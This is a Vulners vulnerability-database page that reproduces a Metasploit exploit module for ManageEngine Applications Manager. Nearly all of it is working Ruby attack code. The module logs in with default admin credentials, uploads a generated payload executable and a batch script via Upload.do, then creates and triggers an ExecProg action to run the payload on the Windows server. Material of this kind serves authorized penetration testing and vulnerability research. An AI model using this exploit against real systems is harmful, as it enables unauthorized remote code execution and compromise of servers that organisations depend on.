Lucene search
K

ManageEngine Applications Manager Authenticated Code Execution

🗓️ 08 Apr 2011 14:06:10Reported by Jacob Giannantonio <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 14 Views

ManageEngine Applications Manager Authenticated Code Execution module for logging in to upload a payload and execute i

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize
    super(
      'Name'           => 'ManageEngine Applications Manager Authenticated Code Execution',
      'Description'    => %q{
            This module logs into the Manage Engine Applications Manager to upload a
          payload to the file system and a batch script that executes the payload. },
      'Author'         => 'Jacob Giannantonio <JGiannan[at]gmail.com>',
      'Platform'       => 'win',
      'DisclosureDate' => 'Apr 08 2011',
      'References'     =>
        [
          [ 'EDB', '17152' ],
        ],
      'Targets'        =>
        [
          ['Automatic',{}],
        ],
      'DefaultTarget'  => 0
      )

    register_options(
      [ Opt::RPORT(9090),
        OptString.new('URI', [false, "URI for Applications Manager", '/']),
        OptString.new('USER', [true, "username", 'admin']),
        OptString.new('PASS', [true, "password", 'admin']),
    ])
  end
  def target_url
    uri = normalize_uri(datastore['URI'])
    "http://#{rhost}:#{rport}#{uri}"
  end
  def exploit
    # Make initial request to get assigned a session token
    cookie = "pagerefresh=1; NfaupdateMsg=true; sortBy=sByName; testcookie=; "
    cookie << "am_username=;am_check="
    begin
      print_status "#{target_url} Applications Manager - Requesting Session Token"
      res = send_request_cgi({
        'method'=> 'GET',
        'uri'	=> "#{target_url}/webclient/common/jsp/home.jsp",
        'cookie'  => cookie.to_s
      }, 20)

      if !res
        print_error("Request to #{target_host} failed")
        return
      end

      if (res and res.code == 200 and res.to_s =~ /(JSESSIONID=[A-Z0-9]{32});/)
        cookie << "; #{$1}"
        print_good("Assigned #{$1}")
      else
        print_error("Initial request failed: http error #{res.code}")
        return
      end

    rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
      return
    rescue ::Timeout::Error, ::Errno::EPIPE
      return
    end

    # send cookie to index.do
    begin
      print_status "Sending session token to #{target_url}/index.do"
      res = send_request_raw({
        'method'  => 'GET',
        'uri'     => "#{target_url}/index.do",
        'cookie' => cookie
      }, 20)

      if !res || res.code != 200
        print_error("Request to #{target_url} failed")
      end

    rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
      print_error("Request to #{target_url}/index.do failed")
      return
    rescue ::Timeout::Error, ::Errno::EPIPE
      return
    end

    # Log in with the assigned session token
    post_data = "clienttype2=html&j_username="
    post_data << "#{Rex::Text.uri_encode(datastore['USER'].to_s)}&"
    post_data << "j_password="
    post_data << "#{Rex::Text.uri_encode(datastore['PASS'].to_s)}&button=Login"
    print_status("Trying to log in with '#{datastore['USER']}':'#{datastore['PASS']}'")

    begin
      res = send_request_cgi({
        'method'  => 'POST',
        'uri'     => "#{target_url}/j_security_check",
        'cookie' => cookie,
        'data'    => post_data.to_s
      }, 20)

      if !res
        print_error("Request to #{target_url} Failed")
      end
      # Server responds with a 302 redirect when the login is successful and
      # HTTP 200 for a failed login
      if res and res.code == 302
        print_good("Success:'#{datastore['USER']}':'#{datastore['PASS']}'")
      else
        print_error("Failed to log into #{target_url}")
        return
      end

    rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
      print_error("Request to #{target_url}/j_security_check failed")
      return
    rescue ::Timeout::Error, ::Errno::EPIPE
      return
    end
    # initial request to upload.do
    # I think this is required to upload content later on.
    begin
      res = send_request_cgi({
        'method'  => 'POST',
        'uri'     => "#{target_url}/Upload.do",
        'cookie'=> cookie,
        'data'    => post_data
      }, 20)

      if !res
        print_error("HTTP request to #{target_url} Failed")
      end

    rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
      print_error("Request to #{target_url}/Upload.do Failed")
      return
    rescue ::Timeout::Error, ::Errno::EPIPE
      return
    end

    # Transfer the payload executable via POST request to Upload.do
    boundary = rand_text_numeric(11)
    payload_file = "#{rand_text_alphanumeric(20)}.exe"
    lines = "-----------------------------#{boundary}"
    content_disposition = "Content-Disposition: form-data; name=\"theFile\";"
    content_disposition << "filename=\"#{payload_file}\"\r\n"
    post_data = lines + "\r\n" + content_disposition.to_s
    post_data << "Content-Type: application/x-msdos-program\r\n\r\n"
    post_data << "#{generate_payload_exe}\r\n\r\n"
    post_data << lines + "\r\nContent-Disposition: form-data; "
    post_data << "name=\"uploadDir\"\r\n\r\n"
    post_data << ".\/\r\n#{lines}--\r\n"

    begin
      referer = "http://#{target_url}/Upload.do"
      res = send_request_raw({
        'method'  => 'POST',
        'uri'     => "#{target_url}/Upload.do",
        'headers' => {  'Referer' => referer,
          'cookie' => "#{cookie}\r\nContent-Type: " +
          "multipart/form-data; " +
          "boundary=---------------------------#{boundary}",
          'Content-Length' => post_data.length},
          'data'    => post_data
      }, 20)

      if !res
        print_error("Request to #{target_url} failed")
      end

      if res and res.code == 200
        print_good("Uploaded payload #{payload_file}")
      else
        print_error("Response HTTP #{res.code} and HTTP 302 expected")
      end

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_error("Request to #{target_url}/Upload.do failed")
      return
    rescue ::Timeout::Error, ::Errno::EPIPE
      return
    end
    # Transfer the batch sript via POST request to Upload.do
    # The server will eventually call the batch script, which will call the payload.exe
    boundary = rand_text_numeric(11)
    bat_file = "#{rand_text_alphanumeric(20)}.bat"
    lines = "-----------------------------#{boundary}"
    content_disposition = "Content-Disposition: form-data; name=\"theFile\"; "
    content_disposition << "filename=\"#{bat_file}\"\r\n"
    post_data = lines + "\r\n" + content_disposition.to_s
    post_data << "Content-Type: application/x-msdos-program\r\n\r\n"
    post_data << "@ECHO off && \"C:\\\\program files\\ManageEngine\\AppManager9\\workin"
    post_data << "g\\#{payload_file}\"\r\n\r\n"
    post_data << lines + "\r\nContent-Disposition: form-data; name=\"uploadDir\""
    post_data << "\r\n\r\n"
    post_data << ".\/\r\n#{lines}--\r\n"

    begin
      referer = "#{target_url}/Upload.do"
        res = send_request_cgi({
        'method'  => 'POST',
        'uri'     => "#{target_url}/Upload.do",
        'headers' => {  'Referer' => referer,
        'cookie' => "#{cookie}\r\nContent-Type: multipart/form-data; " +
        "boundary=---------------------------#{boundary}",
        'Content-Length' => post_data.length},
        'data'    => post_data
      }, 20)

      if !res
        print_error("HTTP request to #{target_url} failed")
        return
      end

      if res and res.code == 200
        print_good("Uploaded #{bat_file} to execute #{payload_file}")
      end

    rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
      print_error("Request to #{target_url}/Upload.do failed")
      return
    rescue ::Timeout::Error, ::Errno::EPIPE
      return
    end

    action_name = "#{rand_text_alphanumeric(20)}"
    post_data = "actions=%2FshowTile.do%3FTileName%3D.ExecProg%26haid%3Dnull&ha"
    post_data << "id=null&method=createExecProgAction&redirectTo=null&id=0&disp"
    post_data << "layname=#{action_name}&serversite=local&choosehost=-2&host=&m"
    post_data << "onitoringmode=TELNET&username=&password=&description=&port=23"
    post_data << "&prompt=%24&command=#{bat_file}&execProgExecDir="
    post_data << "C%3A%5CProgram+Files%5CManageEngine%5CAppManager9%5Cworking&a"
    post_data << "bortafter=10&cancel=false"

    # This client request is necessary because it sends a request to the server
    # specifying that we are interested in executing the batch script.  If
    # successful, the server response body will contain an actionID that is
    # used to tell the server to execute the script.
    begin
      referer = "#{target_url}/showTile.do?TileName=.ExecProg&haid=null"
      res = send_request_cgi({
        'method'  => 'POST',
        'uri'     => "#{target_url}/adminAction.do",
        'headers' => {  'Referer' => referer,
        'cookie' => cookie,
        'Content-Type' => "application/x-www-form-urlencoded",
        'Content-Length' => post_data.to_s.length},
        'data'    => post_data.to_s
      }, 20)

      if !res
        print_error("Request to #{target_host} failed")
      end

      # We are parsing the response in order to determine the correct actionID.
      # My solution for doing this is to iterate through the HTTP response one
      # line at a time.  The correct actionID always comes up several lines
      # after reading the name of the batch file 3 times.  Even if other batch
      # files are mixed up in the list of actions to execute, ours is always
      # the next one after reading the batch file name 3 times

      if res and (res.code == 302 || res.code == 200)
        action_id = 0
        x = 0
        res.body.each_line do |k|
          k.strip!
          if((k =~ /&actionID=(\d{8})/) && (x == 3))
            action_id = $1
            break;
          elsif((k =~ /#{bat_file}/) && (x < 3))
            x+=1
          end
        end
      else
        print_error("HTTP error #{res.code} and HTTP 302 expected")
      end

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_error("HTTP request to #{target_url}/adminAction.do ")
      return
    rescue ::Timeout::Error, ::Errno::EPIPE
      return
    end

    begin
      referer = "#{target_url}/common/executeScript.do?"
      referer << "method=testAction&actionID=#{action_id}&haid=null"
      print_good("Requesting to execute batch file with actionID #{action_id}")
      res = send_request_cgi({
        'method'  => 'GET',
        'uri'     => "#{target_url}/common/executeScript.do?method=testAction&" +
            "actionID=#{action_id}&haid=null",
        'headers' => {  'Referer' => referer,
        'cookie' => 	"executeProgramActionTable_sortcol=1; " +
            "executeProgramActionTable_sortdir=down; " +
            "#{cookie}; executeProgramActionTable_" +
            "sortdir=down; executeProgramActionTable_sortcol=1",
        'Content-Type' => "application/x-www-form-urlencoded"}
      }, 20)

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_error("Request to execute the actionID failed")
    rescue ::Timeout::Error, ::Errno::EPIPE
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation